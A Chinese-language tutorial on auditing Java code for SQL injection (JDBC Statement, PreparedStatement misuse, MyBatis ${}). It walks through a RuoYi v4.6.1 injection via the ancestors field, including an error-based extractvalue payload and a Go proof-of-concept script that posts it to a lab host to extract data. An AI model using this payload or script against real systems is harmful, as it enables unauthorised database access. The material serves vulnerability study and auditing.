SQL 注入是指 WEB 应用程序在处理用户输入数据时,未对其合法性进行严格的判断或过滤,攻击者可以在预定义的查询语句结尾处添加额外的 SQL 语句,从而实现非法操作,欺骗数据库服务器执行非法授权的任意查询,进一步获取相应的数据信息。

Java 代码审计的 SQL 注入主要有两点:

  1. 参数可控且传参类型是 String 类型

  2. SQL 语句可拼接

执行 SQL 语句的几种方式

在 Java 中执行 SQL 语句一般有以下机制方式:

  • 使用 JDBC 的 java.sql.Statement 执行 SQL 语句。

  • 使用 JDBC 的 java.sql.PreparedStatement 执行 SQL 语句。

  • 使用 Hibernate 执行 SQL 语句。

  • 使用 MyBatis 执行 SQL 语句。

Statement 执行 SQL 语句

java.sql.Statement 是 Java JDBC 下执行 SQL 语句的原生方式,执行语句时需要通过拼接来执行。若拼接的语句没有经过过滤,会出现 SQL 注入漏洞。

PreparedStatement 执行 SQL 语句

PreparedStatement 是继承 Statement 的子接口,包含已编译的 SQL 语句。

PreparedStatement 会预处理 SQL 语句,SQL 语句可具有一个或多个 IN 参数。IN 参数的值在 SQL 语句创建时未被指定,而是为每个 IN 参数保留一个问号(?)作为占位符。每个问号的值,必须在该语句执行之前通过适当的 setXXX 方法来提供。如果是 Int 型则用 setInt 方法,如果是 string 型,则用 setString 方法。

MyBatis 执行 SQL 语句

MyBatis 是一个 Java 持久化框架,它通过 XML 描述符或注解把对象与存储过程或 SQL 语句关联起来,它支持自定义 SQL、存储过程以及高级映射。

常见 Java SQL 注入

SQL 语句参数直接动态拼接

示例中使用拼接方式将用户输入的参数 id 带入 SQL 语句,并创建 Statement 对象来执行 SQL 语句。经过拼接构造后最终在数据库执行的语句为 select * from user where id=1 or 1=2,改变了程序查询 id=1 的语义,通过回显可判断出存在 SQL 注入。

String sql = "select * from user where id = " + req.getParameter("id");
out.println(sql);
try{
    Statement st = con.createStatement();
    ResultSet rs = st.executeQuery(sql);
while (rs.next()){
        out.println("<br> id: " + rs.getObJect("id"));
        out.println("<br> name: " + rs.getObJect("name"));
    }
}catch (SQLException throwables){
    throwables.printStackTrace();
}

预编译有误

PrepareStatement 方法支持使用 ? 对变量位占位,在预编译阶段填入相应的值构造 SQL 语句,避免 SQL 注入漏洞产生。研发人员可能会为了便利,直接采取拼接的方式构造 SQL 语句,此时执行预编译则无法阻止 SQL 注入的产生。

示例代码中 PrepareStatement 虽已执行预编译,但以拼接方式构造 SQL 语句的情况下仍会产生 SQL 注入漏洞。

String sql = "select * from user where id = " + req.getParameter("id");
out.println(sql);
try{
    PrepareStatement pstt = con.prepareStatement(sql);
    ResultSet rs = pstt.executeQuery();
while (rs.next()){
        out.println("<br> id: " + rs.getObJect("id"));
        out.println("<br> name: " + rs.getObJect("name"));
    }
}catch (SQLException throwables){
    throwables.printStackTrace();
}

order by 注入

order by 子句后面需要加字段名或者字段位置,而字段名是不能带引号的,否则就会被认为是一个字符串而不是字段名。PrepareStatement 是使用占位符传入参数的,传递的字符都会有单引号包裹,导致 order by 子句失效。

% 和 _ 模糊查询

Java 预编译查询中不会对 % 和 _ 进行转义处理,% 和 _ 刚好是 like 查询的通配符。

MyBatis 中的 ${}

#{] 在底层上使用问号(?)作为占位符来生成 PrepareStatement,也是参数化查询预处理的机制,既快又安全。

${} 将传入的数据直接显示生成在 SQL 语句中,类似于字符串拼接,可能会出现 SQL 注入的风险。

MyBatis 常见 SQL 注入漏洞

  1. order by 查询

在 MyBatis 中 order by 子句使用 #{}order by 子句会失效,只能使用 ${}

  1. link 查询

在 MyBatis 中 link 使用 #{},程序会报错,只能使用 ${}

  1. in 参数

MyBatis 的 in 子句中使用 #{},会将多个参数当做一个整体,只能使用 ${}

常规 SQL 注入代码审计

可以通过关键字快速定位到 SQL 语句附近,进行针对性审计:

  • Statement

  • createStatement

  • PrepareStatement

  • link '%${

  • in (${

  • ${

  • select

  • update

  • insert

RuoYi SQL 注入审计

漏洞背景简述

  • 漏洞名称:RuoYi v4.6.1 SQL 注入(通过 ancestors 字段)

  • 漏洞类型:基于 MyBatis 的 ${} 拼接导致的 SQL 注入

  • 影响版本:v4.6.1 及更早版本(已修复)

  • 利用点:部门管理模块的“修改部门”功能

  • 关键字段:ancestors(记录部门的祖先路径,如 0, 100, 101)

  • 关键语法:MyBatis 中使用 ${ancestors} 而非 #{ancestors},导致 SQL 拼接

开始审计

因为使用的是 MyBatis,通过全局搜索功能在文本中搜索关键字符 ${,项目文件类型选择 xml。

图片

找到了 ${params.dataScope} 和 ${ancestors}

以 ${ancestors} 为例,点击跳转到 SysDeptMapper.xml 的相关代码部分。

<update id="updateDeptStatus" parameterType="SysDept">
  update sys_dept
<set>
<iftest="status != null and status != ''">status = #{status},</if>
<iftest="updateBy != null and updateBy != ''">update_by = #{updateBy},</if>
    update_time = sysdate()
</set>
  where dept_id in (${ancestors})
</update>

还原 SQL 语句大致为以下代码:update sys_dept set status = ?, update_by = ?, update_time = sysdate() where dept_id in (ancestors)

再全局搜索 updateDeptStatus,项目文件类型选择 java。

图片

跳转到 SysDeptMapper.java 相关代码部分。

/**
* 修改所在部门的父级部门状态
* 
* @param dept 部门
*/
public void updateDeptStatus(SysDept dept);

进入 updateDeptStatus 的下一层。

/**
* 修改该部门的父级部门状态
* 
* @param dept 当前部门
*/
private void updateParentDeptStatus (SysDept dept)
{
    String updateBy = dept.getUpdateBy();
    dept = deptMapper.selectDeptById(dept.getDeptId());
    dept.setUpdateBy(updateBy);
    deptMapper.updateDeptStatus(dept);
}

进入 updateParentDeptStatus 的下一层。

/**
* 修改保存部门信息
* 
* @param dept 部门信息
* @return 结果
*/
@Override
@Transactional
public int updateDept(SysDept dept)
{
    SysDept newParentDept = deptMapper.selectDeptById(dept.getParentId());
    SysDept oldDept = selectDeptById(dept.getDeptId());
    if (StringUtils.isNotNull(newParentDept) && StringUtils.isNotNull(oldDept))
    {
        String newAncestors = newParentDept.getAncestors() + "," + newParentDept.getDeptId();
        String oldAncestors = oldDept.getAncestors();
        dept.setAncestors(newAncestors);
        updateDeptChildren(dept.getDeptId(), newAncestors, oldAncestors);
    }
    int result = deptMapper.updateDept(dept);
    if (UserConstants.DEPT_NORMAL.equals(dept.getStatus()))
    {
    // 如果该部门是启用状态,则启用该部门的所有上级部门
        updateParentDeptStatus(dept);
    }
    return result;
}

进入 updateDept 的下一层。

/**
* 保存
*/
@Log(title = "部门管理", businessType = BusinessType.UPDATE)
@RequiresPermissions("system:dept:edit")
@PostMapping("/edit")
@ResponseBody
public AjaxResult editSave(@Validated SysDept dept)
{
    if (UserConstants.DEPT_NAME_NOT_UNIQUE.equals(deptService.checkDeptNameUnique(dept)))
    {
        return error("修改部门'" + dept.getDeptName() + "'失败,部门名称已存在");
    }
    elseif (dept.getParentId().equals(dept.getDeptId()))
    {
        return error("修改部门'" + dept.getDeptName() + "'失败,上级部门不能是自己");
    }
    elseif (StringUtils.equals(UserConstants.DEPT_DISABLE, dept.getStatus())
             && deptService.selectNormalChildrenDeptById(dept.getDeptId()) > 0)
    {
        return AjaxResult.error("该部门包含未停用的子部门!");
    }
    dept.setUpdateBy(ShiroUtils.getLoginName());
    return toAjax(deptService.updateDept(dept));
}

得到路由 system/dept/edit,且是 POST 请求。

在 return toAjax(deptService.updateDept(dept)); 处打上断点,对路由 system/dept 进行访问。

图片

随便选一个点击“编辑”。

图片

清空打印出来的日志信息,挂上代理,在“修改部门”页面点击“确定”。

图片

步入,查看控制台输出内容。

图片

在 yakit 上找到 system/dept/edit 接口的数据包。

图片

在请求体中添加 ancestors 参数,值为 0)or(extractvalue(1,concat((select user()))));#

图片

发现不成功,重新梳理一下“修改部门”功能的调用链路(代码简化版)。

// Controller 层
@PostMapping("/edit")
public AjaxResult editSave(@Validated SysDept dept)
{
    return toAjax(deptService.updateDept(dept));
}

// Service 层
@Override
public int updateDept(SysDept dept){
    // 1. 查询新父部门
    SysDept newParentDept = deptMapper.selectDeptById(dept.getParentId());
    // 2. 查询旧部门(当前要修改的部门)
    SysDept oldDept = selectDeptById(dept.getDeptId());
    // 3. 只有当新父部门和旧部门都存在时,才进入祖先路径更新逻辑
    if (StringUtils.isNotNull(newParentDept) && StringUtils.isNotNull(oldDept)) {
        // 重新计算 ancestors:父部门的 ancestors + 父部门 ID
        String newAncestors = newParentDept.getAncestors() + "," + newParentDept.getDeptId();
        String oldAncestors = oldDept.getAncestors();
        // 关键:覆盖传入的 ancestors
        dept.setAncestors(newAncestors);
        // 更新所有子部门的 ancestors
        updateDeptChildren(dept.getDeptId(), newAncestors, oldAncestors);
    }
    // 4. 如果部门状态为启用,则更新父部门状态
    if (UserConstants.DEPT_NORMAL.equals(dept.getStatus())) {
        updateParentDeptStatus(dept);
    }
    // 5. 执行最终的 updateDept 操作
    return deptMapper.updateDept(dept);; // 关键:这里传入 dept 实例
}

// Service 层
private void updateParentDeptStatus(SysDept dept)
{
    String updateBy = dept.getUpdateBy();
    dept = deptMapper.selectDeptById(dept.getDeptId());
    dept.setUpdateBy(updateBy);
    deptMapper.updateDeptStatus(dept);
}

可以看出 updateDept 才是核心,大致流程如下:

图片

对 updateDept 方法打上断点,进行 DEBUG 调试。

图片

parentId 与 deptId 均真实存在,进入 if 判断语句。

图片

图片

传入的 ancestors 已被覆盖。

图片

接下来发送 parentId 虚假值的数据包进行调试:

图片

由于 StringUtils.isNotNull(newParentDept) 为 false,跳过了 if 语句。

图片

成功触发 SQL 注入。

图片

编写 POC

懒人版爬虫代码:

package main

import (
    "fmt"
    "io"
    "log"
    "net/http"
    "net/url"
    "regexp"
    "strings"
)

func main() {
    // 构造请求 URL
    reqUrl := "http://192.168.52.130/system/dept/edit"
    payload := "0)or(extractvalue(1,concat((select user()))));#"

    // 初始化参数并编码
    params := url.Values{
        "deptId":    {"103"},
        "parentId":  {"0"},
        "deptName":  {"研发部门"},
        "orderNum":  {"1"},
        "status":    {"0"},
        "ancestors": {payload},
    }
    encodedParams := params.Encode()

    // 创建 HTTP 请求客户端
    client := &http.Client{}

    // 创建请求对象
    req, err := http.NewRequest("POST", reqUrl, strings.NewReader(encodedParams))
    if err != nil {
        log.Fatalf("无法创建请求: %v", err)
    }

    // 设置请求头
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0")
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    req.Header.Set("Cookie", "JSESSIONID=5b5eae74-54a3-4b00-a843-5bf668f083b1")

    // 发送请求
    resp, err := client.Do(req)
    if err != nil {
        log.Fatalf("无法发送请求: %v", err)
    }

    // 确保响应体被关闭
    defer resp.Body.Close()

    // 读取响应内容
    respBody, _ := io.ReadAll(resp.Body)

    // 使用正则表达式提取数据
    re := regexp.MustCompile(`XPATH syntax error: '(.*?)'`)
    matches := re.FindAllStringSubmatch(string(respBody), 1)

    // 检查是否匹配到数据
    if len(matches) == 0 {
	log.Printf("未找到数据")
        return
    }
    // 打印数据
    fmt.Printf("payload: %s\n", payload)
    fmt.Printf("提取的数据: %s", matches[0][1])
}

运行结果:

图片

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐